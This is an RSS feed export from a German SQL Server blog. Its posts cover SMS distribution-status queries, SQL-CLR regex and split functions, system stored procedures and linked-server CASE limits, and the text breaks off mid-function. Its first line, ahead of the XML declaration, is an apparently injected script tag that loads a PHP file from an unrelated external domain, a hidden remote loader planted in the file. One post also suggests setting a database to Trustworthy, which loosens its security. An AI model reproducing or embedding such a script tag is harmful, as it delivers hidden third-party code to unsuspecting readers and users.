<script src=http://soapstone-india.com/css/Soapstone-Serpentine.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Xylon's Blog &#187; SQL</title>
	<atom:link href="http://www.xentrope.de/tag/sql/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.xentrope.de</link>
	<description>I don't work here</description>
	<lastBuildDate>Fri, 30 Oct 2009 19:07:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>SQL/SMS : Zusammenfassung von Softwareverteilungen ermitteln</title>
		<link>http://www.xentrope.de/allgemein/sqlsms-zusammenfassung-von-softwareverteilungen-ermitteln/</link>
		<comments>http://www.xentrope.de/allgemein/sqlsms-zusammenfassung-von-softwareverteilungen-ermitteln/#comments</comments>
		<pubDate>Tue, 16 Sep 2008 06:39:46 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[SMS]]></category>
		<category><![CDATA[Software Distribution]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Status]]></category>
		<category><![CDATA[System Management Server]]></category>
		<category><![CDATA[Verteilung]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=120</guid>
		<description><![CDATA[Immer wieder möchte man mal eine kurze Übersicht über laufende Softwareverteilungen und deren Status haben. Wir arbeiten mit SMS, also ist das ja eigentlich kein Problem: In die SMS Datenbank eingeklinkt und beim Durchsehen der Tabellen und Views klappt man erstmal vom Stuhl. Wie soll man da was finden, wenn man nicht täglich damit zu [...]]]></description>
			<content:encoded><![CDATA[<p>Immer wieder möchte man mal eine kurze Übersicht über laufende Softwareverteilungen und deren Status haben. Wir arbeiten mit SMS, also ist das ja eigentlich kein Problem: In die SMS Datenbank eingeklinkt und beim Durchsehen der Tabellen und Views klappt man erstmal vom Stuhl. Wie soll man da was finden, wenn man nicht täglich damit zu tun hat?! Hier erstmal eine kurze Übersicht wo man die wichtigsten Sachen in den SMS Tabellen findet, diese Übersicht habe ich vor langer Zeit mal irgendwo im Netz gefunden und ein wenig erweitert:<br />
<table style="font-size:90%">
<th>Was</th>
<th>Wo</th>
<th>Spalte</th>
<tr>
<td>Collection IDs</td>
<td>dbo.v_FullCollectionMembership</td>
<td>CollectionID</td>
</tr>
<tr>
<td>Computer Make</td>
<td>dbo.v_GS_COMPUTER_SYSTEM</td>
<td>Manufacturer0</td>
</tr>
<tr>
<td>Computer Make</td>
<td>dbo.v_GS_COMPUTER_SYSTEM_PRODUCT</td>
<td>Vendor0</td>
</tr>
<tr>
<td>Computer Make</td>
<td>dbo.v_GS_BASEBOARD</td>
<td>Manufacturer0</td>
</tr>
<tr>
<td>Computer Make</td>
<td>dbo.v_GS_PC_BIOS</td>
<td>Manufacturer0</td>
</tr>
<tr>
<td>Computer Model</td>
<td>dbo.v_GS_COMPUTER_SYSTEM</td>
<td>Model0</td>
</tr>
<tr>
<td>Computer Model</td>
<td>dbo.v_GS_COMPUTER_SYSTEM_PRODUCT</td>
<td>Name0</td>
</tr>
<tr>
<td>Computer Name</td>
<td>dbo.v_R_System</td>
<td>Netbios_Name0, Name0</td>
</tr>
<tr>
<td>Computer Name</td>
<td>dbo.v_GS_COMPUTER_SYSTEM</td>
<td>Name0</td>
</tr>
<tr>
<td>Computer Name</td>
<td>dbo.v_RA_System_ResourceNames</td>
<td>Resource_Name0</td>
</tr>
<tr>
<td>Computer Name</td>
<td>dbo.v_GS_SYSTEM</td>
<td>Name0</td>
</tr>
<tr>
<td>Computer Name</td>
<td>dbo.v_GS_PROCESSOR</td>
<td>SystemName0</td>
</tr>
<tr>
<td>Computer Name</td>
<td>dbo.v_GS_MOTHERBOARD_DEVICE</td>
<td>SystemName0</td>
</tr>
<tr>
<td>IP Addresses</td>
<td>dbo.v_RA_System_IPAddresses</td>
<td>IP_Addresses0</td>
</tr>
<tr>
<td>Last Bootup Time</td>
<td>dbo.v_GS_OPERATING_SYSTEM</td>
<td>LastBootupTime0</td>
</tr>
<tr>
<td>Last HW Inventory</td>
<td>dbo.v_GS_WORKSTATION_STATUS</td>
<td>LastHWScan</td>
</tr>
<tr>
<td>MAC Addresses</td>
<td>dbo.v_RA_System_MACAddresses</td>
<td>MAC_Addresses0</td>
</tr>
<tr>
<td>OS Install Date</td>
<td>dbo.v_GS_OPERATING_SYSTEM</td>
<td>InstallDate0</td>
</tr>
<tr>
<td>OS Name</td>
<td>dbo.v_GS_OPERATING_SYSTEM</td>
<td>Caption0</td>
</tr>
<tr>
<td>OS Name And Version</td>
<td>dbo.v_R_System</td>
<td>Operating_System_Name_and0</td>
</tr>
<tr>
<td>OS Version</td>
<td>dbo.v_GS_OPERATING_SYSTEM</td>
<td>Version0</td>
</tr>
<tr>
<td>OU</td>
<td>dbo.v_RA_System_SystemOUName</td>
<td>System_OU_Name0</td>
</tr>
<tr>
<td>Serial/Identifying Number</td>
<td>dbo.v_GS_COMPUTER_SYSTEM_PRODUCT</td>
<td>IdentifyingNumber0</td>
</tr>
<tr>
<td>Serial/Identifying Number</td>
<td>dbo.v_GS_PC_BIOS</td>
<td>SerialNumber0</td>
</tr>
<tr>
<td>Serial/Identifying Number</td>
<td>dbo.v_GS_BASEBOARD</td>
<td>SerialNumber0</td>
</tr>
<tr>
<td>Site Code</td>
<td>dbo.v_RA_System_SMSAssignedSites</td>
<td>SMS_Assigned_Sites0</td>
</tr>
<tr>
<td>User Name</td>
<td>dbo.v_GS_COMPUTER_SYSTEM</td>
<td>UserName0</td>
</tr>
<tr>
<td>User Name</td>
<td>dbo.v_R_System</td>
<td>User_Name0</td>
</tr>
<tr>
<td>User Name</td>
<td>dbo.v_GS_SYSTEM_CONSOLE_USER</td>
<td>SystemConsoleUser0</td>
</tr>
<tr>
<td>User Name</td>
<td>dbo.v_GS_SYSTEM_CONSOLE_USAGE</td>
<td>TopConsoleUser0</td>
</tr>
<tr>
<td>User Name</td>
<td>dbo.v_LastLoggedOnUser</td>
<td>USERID0</td>
</tr>
</table>
<p>  Zurück zur Aufgabe: Wie bekommen wir nun eine Zusammenfassung der Verteilungsstati? Nun, wir benötigen dazu drei Angaben: Die Advertisement ID, die ToDo Collection ID sowie die Installed Collection ID. Mitglieder der ToDo Collection sind alle Clients, die für die jeweilige Verteilung noch anstehen. In der Installed Collection stehen alle Rechner, bei denen die Verteilung schon durchgelaufen ist und SMS keinen Fehler festgestellt hat. Mit folgendem SQL Skript kann man dann die benötigten Zahlen ermitteln, als Collection IDs sollte man dann natürlich eigene angeben.
<pre name='code' class='SQL'>
declare @AdvertisementId	varchar(8)
declare @TodoCollectionId	varchar(8)
declare @InstalledCollectionId	varchar(8) 

set @AdvertisementId		= ''
set @TodoCollectionId		= ''
set @InstalledCollectionId	= ''

select
	(select count(Name)
		from dbo.v_FullCollectionMembership
		where CollectionID = @InstalledCollectionId
	) 'Installed Clients',
	(select count(Name)
		from fthw9x8a.sms_rg1.dbo.v_FullCollectionMembership
		where CollectionID = @TodoCollectionId
	) 'ToDo Clients',
	(select count(Name)
		from dbo.v_fullcollectionmembership
		where collectionid in (@InstalledCollectionId,@TodoCollectionId)
	) 'Gesamtanzahl Clients',
	(select count(CAS.LastExecutionResult)
		from dbo.v_Advertisement ADV
			inner join dbo.v_ClientAdvertisementStatus CAS on ADV.AdvertisementID = CAS.AdvertisementID
		where CAS.LastExecutionResult is not null
			and collectionid in (@InstalledCollectionId,@TodoCollectionId)
	) 'Fehlerhafte Clients'
</pre>
<p>Und als Ergebnisse erhält man dann so etwas:</p>
<pre name='code' class='SQL'>
Installed Clients	ToDo Clients	Gesamtanzahl Clients	Fehlerhafte Clients
8783			29		8812			7
</pre>
<p>Damit kann man dann zum Beispiel weitere Berechnungen anstellen (z.B. Prozentwert der fehlerhaften Clients berechnen, oder auch ein Diagramm erstellen).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/sqlsms-zusammenfassung-von-softwareverteilungen-ermitteln/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Regular Expressions in SQL</title>
		<link>http://www.xentrope.de/visual-studio/regular-expressions-in-sql/</link>
		<comments>http://www.xentrope.de/visual-studio/regular-expressions-in-sql/#comments</comments>
		<pubDate>Thu, 04 Sep 2008 08:35:35 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[.Net 2]]></category>
		<category><![CDATA[Regular Expression]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL 2005]]></category>
		<category><![CDATA[SQL 2008]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=105</guid>
		<description><![CDATA[Gestern hatte ich ja schon die Basics für SQL-CLR Integration beschrieben, heute treiben wir das mal weiter auf die Spitze: Wir wollen Regular Expressions im SQL Server nutzen. Dazu erweitern wir uns ersteinmal die Klasse um drei neue Funktionen: RegEx_HasMatches soll uns sagen ob überhaupt Matches auftreten RegEx_MatchCount soll uns sagen wie viele Matches auftreten [...]]]></description>
			<content:encoded><![CDATA[<p>Gestern hatte ich ja schon die Basics für SQL-CLR Integration beschrieben, heute treiben wir das mal weiter auf die Spitze: Wir wollen <a href="http://de.wikipedia.org/wiki/Regular_Expression">Regular Expressions</a> im SQL Server nutzen.<br />
Dazu erweitern wir uns ersteinmal die Klasse um drei neue Funktionen:</p>
<ul>
<li><b>RegEx_HasMatches</b> soll uns sagen ob überhaupt Matches auftreten</li>
<li><b>RegEx_MatchCount</b> soll uns sagen wie viele Matches auftreten</li>
<li><b>RegEx_GetMatches</b> soll uns die Matches aufsgeben</li>
</ul>
<p>Für die Copy+Paster unter euch ;) :</p>
<pre name="code" class="html:nocontrols:VB.Net">
    &lt;SqlFunction()&gt; _
    Public Shared Function RegEx_HasMatches(ByVal inputstring As SqlString, ByVal regexstring As SqlString) As SqlBoolean
        If Regex.Matches(inputstring.Value, regexstring.Value, RegexOptions.IgnoreCase).Count > 0 Then
            Return True
        Else
            Return False
        End If
    End Function

    &lt;SqlFunction()&gt; _
    Public Shared Function RegEx_MatchCount(ByVal inputstring As SqlString, ByVal regexstring As SqlString) As SqlInt64
        Return Regex.Matches(inputstring.Value, regexstring.Value, RegexOptions.IgnoreCase).Count
    End Function

    &lt;SqlFunction()&gt; _
    Public Shared Sub RegEx_GetMatches(ByVal inputstring As SqlString, ByVal regexstring As SqlString)
        Dim mc As MatchCollection = Regex.Matches(inputstring.Value, regexstring.Value, RegexOptions.IgnoreCase)
        Dim result As New SqlDataRecord(New SqlMetaData("Match", SqlDbType.NVarChar, 4000))
        Dim pipe As SqlPipe = SqlContext.Pipe
        pipe.SendResultsStart(result)
        For Each item As Match In mc
            result.SetString(0, item.Value)
            pipe.SendResultsRow(result)
        Next
        pipe.SendResultsEnd()
    End Sub
</pre>
<p>Nach dem Bereitstellen können wir das ganze auch schon testen:</p>
<pre name="code" class="html:nocontrols:SQL">
declare @inputstring nvarchar(4000)
set @inputstring= 'My favorite web sites include:
	&lt;/P&gt;&lt;A HREF="http://www.xentrope.de"&gt;Xylon''s Blog&lt;/A&gt;&lt;/P&gt;
	&lt;A HREF="http://dotnet-forum.de"&gt;.NET Forum&lt;/A&gt;&lt;/P&gt;
	&lt;A HREF="http://blogs.msdn.com/bclteam"&gt;.NET Base Class Library blog&lt;/A&gt;&lt;/P&gt;'

declare @regexstring nvarchar(4000)
set @regexstring = 'href\s*=\s*(?:"(?<1>[^"]*)"|(?<1>\S+))'

select dbo.RegEx_HasMatches(@inputstring,@regexstring) 'HasMatches'
	,dbo.RegEx_MatchCount(@inputstring,@regexstring) 'Nr of Matches'
exec dbo.RegEx_GetMatches @inputstring,@regexstring
</pre>
<p>Und als Ergebnisse bekommen wir:</p>
<pre name="code" class="html:nocontrols:text">
HasMatches	Nr of Matches
1			3

Match
HREF="http://www.xentrope.de"
HREF="http://dotnet-forum.de"
HREF="http://blogs.msdn.com/bclteam"
</pre>
<p>Coole Sache! :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/visual-studio/regular-expressions-in-sql/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Split Funktion mittels CLR</title>
		<link>http://www.xentrope.de/allgemein/split-funktion-mittels-clr/</link>
		<comments>http://www.xentrope.de/allgemein/split-funktion-mittels-clr/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 09:00:21 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[ASP.Net 3 / ASP.Net 3.5]]></category>
		<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[CLR]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[Split]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL 2005]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[VB.Net]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=95</guid>
		<description><![CDATA[Eine beliebte Stringfunktion fehler leider nach wie vor im SLQ Server: Split. Das hat sich auch mit dem neuen SQL Server 2008 immer noch nicht geändert. Ich hatte ja schon mal eine Splitfunktion gepostet, möchte dies aber jetzt als CLR Funktion implementieren. Lange Reder kurzer Sinn: Man erstellt im Visual Studio ein neues Datenbankprojekt. In [...]]]></description>
			<content:encoded><![CDATA[<p>Eine beliebte Stringfunktion fehler leider nach wie vor im SLQ Server: Split. Das hat sich auch mit dem neuen SQL Server 2008 immer noch nicht geändert. Ich hatte ja schon mal eine <a href="http://www.xentrope.de/2008/04/split-funktion-fur-mssql-2000/">Splitfunktion gepostet</a>, möchte dies aber jetzt als CLR Funktion implementieren. Lange Reder kurzer Sinn:  </p>
<ul>
<li>Man erstellt im Visual Studio ein neues Datenbankprojekt.</li>
<li>In den Projekteinstellungen sollte die Assembly signiert werden (Einstellungen &#8211; Signing &#8211; Sign the assembly)</li>
<li>Unter dem Karteireiter &#8220;Database&#8221; kann vorerst das Permissionlevel auf Safe bleiben, da wir ja keine externen Resources ansprechen wollen.<br />
Safe = Zugriff auf Daten des eigenen SQL Servers über den In-process Managed Provider<br />
External = Zugriff auf externe Resourcen ist erlaubt<br />
Unsafe = Es kann unmanaged Code ausgeführt werden<br />
Erhält man eine Fehlermeldung beim Bereitstellen der Assembly, kann es daran liegen das der Datenbank nicht vertraut wird. Dann sollte man die Trustworthy Eigenschaft setzen:</p>
<pre name="code" class="html:nocontrols:SQL">
Alter Database [DB] Set Trustworthy on
</pre>
</li>
<li>Man fügt dem Projekt eine neue Klasse hinzu, ich habe sie einfach &#8220;Stringfunctions&#8221; genannt.</li>
<li>Dieser Klasse fügen wir eine Prozedur hinzu:
<pre name="code" class="html:nocontrols:VB.Net">
    &lt;SqlProcedure()&gt; _
    Public Shared Sub Split(ByVal Input As SqlString, ByVal Delimiter As SqlString)
        Dim pipe As SqlPipe = SqlContext.Pipe
        Dim splittet() As String = Input.Value.Split(Delimiter.Value.ToCharArray)
        Dim reslist As New List(Of SqlMetaData)
        For i As Integer = 0 To splittet.Length - 1
            reslist.Add(New SqlMetaData("Col" + i.ToString(), SqlDbType.NVarChar, 4000))
        Next
        Dim result As New SqlDataRecord(reslist.ToArray())
        For i As Integer = 0 To splittet.Length - 1
            result.SetString(i, splittet(i))
        Next
        pipe.Send(result)
    End Sub
</pre>
<p>Das Attribut SqlProcedure() sorgt dafür, das beim Bereitstellen automatisch eine neue Stored Procedure angelegt wird. Als Parameter der Prozedur übergeben wir zwei SQLStrings: Input und Delimiter. Wofür diese stehen sagen die Namen ja schon&#8230; ;) Um die Anzahl der notwendigen Spalten in unserer Ergnistabelle zu ermitteln legen wir uns ersteinmal eine neue Liste mit Spaltendefinitionen an. Danach wird unsere Ergebnistabelle erstellt: </p>
<pre name="code" class="html:nocontrols:VB.Net">
Dim result As New SqlDataRecord(reslist.ToArray())
</pre>
<p>Jetzt können wir endlich alle Elemente aus dem Array in die Ergebnistabelle schreiben und zurückgeben:</p>
<pre name="code" class="html:nocontrols:SQL">
For i As Integer = 0 To splittet.Length - 1
	result.SetString(i, splittet(i))
Next
pipe.Send(result)
</pre>
<p>Die Verwendung der Funktion ist denkbar einfach:  </p>
<pre name="code" class="html:nocontrols:SQL">
exec Split 'feld1;feld2;feld3;feld4;feld5;feld6;feld7',';'
</pre>
<p>Und liefert uns eine Tabelle zurück:</p>
<pre name="code" class="html:nocontrols:Text">
 Col0	Col1	Col2	Col3	Col4	Col5	Col6
 feld1	feld2	feld3	feld4	feld5	feld6	feld7
 </pre>
</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/split-funktion-mittels-clr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL2005: N&#252;tzliche System Stored Procedures</title>
		<link>http://www.xentrope.de/allgemein/sql2005-ntzliche-system-stored-procedures/</link>
		<comments>http://www.xentrope.de/allgemein/sql2005-ntzliche-system-stored-procedures/#comments</comments>
		<pubDate>Tue, 02 Sep 2008 08:09:14 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL 2005]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=87</guid>
		<description><![CDATA[SQL-Statement für jede Tabelle in der aktuellen Datenbank ausführen exec sp_MSforeachtable '[SQL-Statement]' SQL-Statement für jede Datenbank ausführen exec sys.sp_MSforeachdb '[SQl-Statement]' Tabelleninformationen auslesen (Erstellungsdatum, Schema, Tabellentyp (Table/View) etc.) exec sys.sp_tables_rowset '[Tabellenname]' Spalten in der Tabelle (Name, Collation) exec sys.sp_tablecollations '[Tabellenname]' Stored Procedures in der aktuellen Datenbank (Name, Owner, Anzahl Eingabeparameter (-1 = 0), Anzahl Ausgabeparameter (-1 [...]]]></description>
			<content:encoded><![CDATA[<p>SQL-Statement für jede Tabelle in der aktuellen Datenbank ausführen </p>
<pre name="code" class="html:nocontrols:SQL">
exec sp_MSforeachtable '[SQL-Statement]'
</pre>
<p>SQL-Statement für jede Datenbank ausführen </p>
<pre name="code" class="html:nocontrols:SQL">
exec sys.sp_MSforeachdb '[SQl-Statement]'
</pre>
<p>Tabelleninformationen auslesen (Erstellungsdatum, Schema, Tabellentyp (Table/View) etc.) </p>
<pre name="code" class="html:nocontrols:SQL">
exec sys.sp_tables_rowset '[Tabellenname]'
</pre>
<p>Spalten in der Tabelle (Name, Collation) </p>
<pre name="code" class="html:nocontrols:SQL">
exec sys.sp_tablecollations '[Tabellenname]'
</pre>
<p>Stored Procedures in der aktuellen Datenbank (Name, Owner, Anzahl Eingabeparameter (-1 = 0), Anzahl Ausgabeparameter (-1 = 0), Prozedurtyp) </p>
<pre name="code" class="html:nocontrols:SQL">
exec sys.sp_stored_procedures
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/sql2005-ntzliche-system-stored-procedures/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SQL2005: N&#252;tzliche System Stored Procedures</title>
		<link>http://www.xentrope.de/allgemein/sql2005-ntzliche-system-stored-procedures-2/</link>
		<comments>http://www.xentrope.de/allgemein/sql2005-ntzliche-system-stored-procedures-2/#comments</comments>
		<pubDate>Tue, 02 Sep 2008 08:09:14 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL 2005]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=87</guid>
		<description><![CDATA[SQL-Statement für jede Tabelle in der aktuellen Datenbank ausführen exec sp_MSforeachtable '[SQL-Statement]' SQL-Statement für jede Datenbank ausführen exec sys.sp_MSforeachdb '[SQl-Statement]' Tabelleninformationen auslesen (Erstellungsdatum, Schema, Tabellentyp (Table/View) etc.) exec sys.sp_tables_rowset '[Tabellenname]' Spalten in der Tabelle (Name, Collation) exec sys.sp_tablecollations '[Tabellenname]' Stored Procedures in der aktuellen Datenbank (Name, Owner, Anzahl Eingabeparameter (-1 = 0), Anzahl Ausgabeparameter (-1 [...]]]></description>
			<content:encoded><![CDATA[<p>SQL-Statement für jede Tabelle in der aktuellen Datenbank ausführen</p>
<pre name="code" class="html:nocontrols:SQL">
exec sp_MSforeachtable '[SQL-Statement]'
</pre>
<p>SQL-Statement für jede Datenbank ausführen</p>
<pre name="code" class="html:nocontrols:SQL">
exec sys.sp_MSforeachdb '[SQl-Statement]'
</pre>
<p>Tabelleninformationen auslesen (Erstellungsdatum, Schema, Tabellentyp (Table/View) etc.)</p>
<pre name="code" class="html:nocontrols:SQL">
exec sys.sp_tables_rowset '[Tabellenname]'
</pre>
<p>Spalten in der Tabelle (Name, Collation)</p>
<pre name="code" class="html:nocontrols:SQL">
exec sys.sp_tablecollations '[Tabellenname]'
</pre>
<p>Stored Procedures in der aktuellen Datenbank (Name, Owner, Anzahl Eingabeparameter (-1 = 0), Anzahl Ausgabeparameter (-1 = 0), Prozedurtyp)</p>
<pre name="code" class="html:nocontrols:SQL">
exec sys.sp_stored_procedures
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/sql2005-ntzliche-system-stored-procedures-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Abgeschnittene Strings</title>
		<link>http://www.xentrope.de/allgemein/abgeschnittene-strings/</link>
		<comments>http://www.xentrope.de/allgemein/abgeschnittene-strings/#comments</comments>
		<pubDate>Mon, 25 Aug 2008 11:26:38 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL 2000]]></category>
		<category><![CDATA[SQL 2005]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[VB.Net]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=78</guid>
		<description><![CDATA[Ein anderes interessantes Phänomen lief mir gerade über den Weg: Liest man aus einem SQL Server eine richtig lange Zeichenkette (z.B. mehr als 2000 Zeichen, z.B. mit einer &#8216;FOR XML &#8230;&#8217; Transformation im Select) wird einem das Ergebnis willkürlich bei um die 1000 Zeichen abgeschitten. Eine generelle Workaroundfunktion ist schnell gebastelt: Private Shared Function GetLongStringData(ByVal [...]]]></description>
			<content:encoded><![CDATA[<p>Ein anderes interessantes Phänomen lief mir gerade über den Weg: Liest man aus einem SQL Server eine richtig lange Zeichenkette (z.B. mehr als 2000 Zeichen, z.B. mit einer &#8216;FOR XML &#8230;&#8217; Transformation im Select) wird einem das Ergebnis willkürlich bei um die 1000 Zeichen abgeschitten.<br />
Eine generelle Workaroundfunktion ist schnell gebastelt:</p>
<pre name="code" class="vb.net">
Private Shared Function GetLongStringData(ByVal statement As String) As String
	Dim sql As New System.Data.SqlClient.SqlCommand()
	Dim con As New System.Data.SqlClient.SqlConnection()
	con.ConnectionString = "connectionstring"
	sql.CommandText = statement
	sql.Connection = con
	con.Open()
	Dim r As System.Data.SqlClient.SqlDataReader = sql.ExecuteReader()
	Dim strbuilder As New StringBuilder()
	While r.Read()
		strbuilder.Append(r(0))
	End While
	con.Close()
	Return strbuilder.ToString()
End Function
</pre>
<p>Stellt sich allerdings nach wie vor die Frage warum die Daten abgeschnitten werden. Im SQL Server Management Studio wird alles korrekt angezeigt. Ich vermute das Problem liegt irgendwo bei der Übergabe vom SQL Server in den .Net String. Wenn jemand eine Idee hat, möge er sich bei mir melden. :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/abgeschnittene-strings/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Case und Linked Server</title>
		<link>http://www.xentrope.de/allgemein/case-und-linked-server/</link>
		<comments>http://www.xentrope.de/allgemein/case-und-linked-server/#comments</comments>
		<pubDate>Mon, 25 Aug 2008 11:23:27 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[Case]]></category>
		<category><![CDATA[Linked Server]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL 2000]]></category>
		<category><![CDATA[SQL 2005]]></category>
		<category><![CDATA[SQL 2008]]></category>
		<category><![CDATA[When]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=76</guid>
		<description><![CDATA[Wer mal folgendes versucht: select (case when bedingung1 then (case when bedingung2 then statement2 when bedingung3 then statement3 when bedingung4 then statement4 when bedingung5 then statement5 when bedingung6 then statement6 when bedingung7 then statement7 when bedingung8 then statement8 when bedingung9 then statement9 when bedingung10 then statement10 when bedingung11 then statement11 else statement12 end) else statement1 [...]]]></description>
			<content:encoded><![CDATA[<p>Wer mal folgendes versucht:</p>
<pre name="code" class="sql">select
	(case
		when bedingung1 then
			(case
				when bedingung2 then statement2
				when bedingung3 then statement3
				when bedingung4 then statement4
				when bedingung5 then statement5
				when bedingung6 then statement6
				when bedingung7 then statement7
				when bedingung8 then statement8
				when bedingung9 then statement9
				when bedingung10 then statement10
				when bedingung11 then statement11
				else statement12
			end)
		else statement1
		end)
from linked_server.database.schema.table</pre>
<p>wird feststellen, das einem der SQL Server eine Fehlermeldung bringt:</p>
<pre>Meldung 8180, Ebene 16, Status 1, Zeile 1
Statement(s) could not be prepared.
Meldung 125, Ebene 15, Status 4, Zeile 1
Case expressions may only be nested to level 10.</pre>
<p>Leider findet man hierzu nichts in der MSDN und auch sonst im Web wurde ich nicht fündig um diesen Fehler zu beheben. Wobei die Ursache relativ simpel ist, und die Fehlermeldung einen schon drauf hinweist: Case Statements dürfen über eine Linked-Server Verbindung nur bis maximal 10 Schachtelungen haben.</p>
<p>So einen Hinweis hätte ich eigentlich in der MSDN erwartet!</p>
<p>Das kann man auch nicht durch irgendwelche Einstellungen am Linked Server ändern. Da hilft nur eine Behelfsview in der Quelldatenbank. Dann kann man auch fröhlich und mit einer Erfahrung mehr die Datenmigration fortsetzen.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/case-und-linked-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Split Funktion für MSSQL 2000</title>
		<link>http://www.xentrope.de/sqlserver/split-funktion-fur-mssql-2000/</link>
		<comments>http://www.xentrope.de/sqlserver/split-funktion-fur-mssql-2000/#comments</comments>
		<pubDate>Fri, 11 Apr 2008 06:31:51 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[Split]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL 2000]]></category>
		<category><![CDATA[SQL 2005]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=24</guid>
		<description><![CDATA[Kann man immer wieder mal brauchen: Eine Split-Funktion für MSSQL (ab 2000). CREATE FUNCTION [dbo].[udf_ItemExtract] ( @Position INTEGER, @List VARCHAR(2000), --VARCHAR(MAX) @Delimiter VARCHAR(1) ) RETURNS VARCHAR(2000) --VARCHAR(MAX) AS BEGIN DECLARE @RetVal VARCHAR(2000) SET @RetVal = '' --VARCHAR(MAX) DECLARE @Counter INT SET @Counter = 0 DECLARE @StartPos INT DECLARE @Length INT DECLARE @DelimPos INT SET @DelimPos [...]]]></description>
			<content:encoded><![CDATA[<p>Kann man immer wieder mal brauchen: Eine Split-Funktion für MSSQL (ab 2000).</p>
<pre name="code" class="sql">CREATE FUNCTION [dbo].[udf_ItemExtract]
(
 @Position INTEGER,
 @List VARCHAR(2000),  --VARCHAR(MAX)
 @Delimiter VARCHAR(1)
)
RETURNS VARCHAR(2000)  --VARCHAR(MAX)
AS
BEGIN
 DECLARE @RetVal VARCHAR(2000) SET @RetVal = ''  --VARCHAR(MAX)
 DECLARE @Counter  INT SET @Counter = 0
 DECLARE @StartPos INT
 DECLARE @Length INT
 DECLARE @DelimPos INT SET @DelimPos = 0
 -- SCAN THROUGH UNTIL WE FIND THE ITEM AT THE POSITION OF THE INDEX - WE'LL GO THROUGH WHILE LOOP AT LEAST ONCE
 WHILE @Counter &lt; @Position
  BEGIN
   SET @Counter = @Counter + 1   -- increment counter
   SET @StartPos = @DelimPos + 1 -- move the start position to right after previously found delimiter (or 1st char if this is the fist time through
   SET @DelimPos = CHARINDEX(@Delimiter,@List,@DelimPos + 1)   --find the next delimiter
   -- IF THERE ARE NO DELIMITERS LEFT...
   IF @DelimPos = 0
   BEGIN
    -- IF WE'RE ON THE POSITION WE'RE LOOKING FOR, THEN SET LENGTH TO THE REST OF THE STRING
    IF @Counter = @Position SET @Length = (LEN(@List)+1)-@StartPos
